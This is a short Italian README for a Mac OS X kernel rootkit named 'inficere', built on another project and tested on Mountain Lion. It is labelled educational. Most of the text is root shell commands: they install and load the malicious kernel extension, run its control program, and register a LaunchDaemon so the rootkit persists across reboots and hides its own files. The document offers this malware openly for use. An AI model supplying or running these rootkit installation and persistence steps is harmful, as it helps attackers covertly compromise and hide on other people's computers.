
Rootkit per Mac OS X - a scopo didattico
Versione pubblica del mio rootkit per Mac OS X costruito sopra l'onyx-the-black-cat di fractalG (https://github.com/gdbinit/onyx-the-black-cat)
Testato solo su Mountain Lion, dalla 10.8.2 alla 10.8.5. Non è garantito che funzioni su altre versioni.
# chmod -R 755 inficere.kext# chown -R root:wheel inficere.kext# mv inficere.kext /System/Library/Extensions/# kextutil /System/Library/Extensions/inficere.kext# ./controlPer la persistenza all'avvio:
# plutil -convert binary1 com.enzo.inficere.plist# mv com.enzo.inficere.plist /Library/LaunchDaemons/com.enzo.inficere.plist# chown root:wheel /Library/LaunchDaemons/com.enzo.inficere.plist# launchctl load -w /Library/LaunchDaemons/com.enzo.inficere.plistInficere nasconderà i file sopra indicati dopo il caricamento.
Vorrei sottolineare che ho realizzato questo solo per scopi educativi.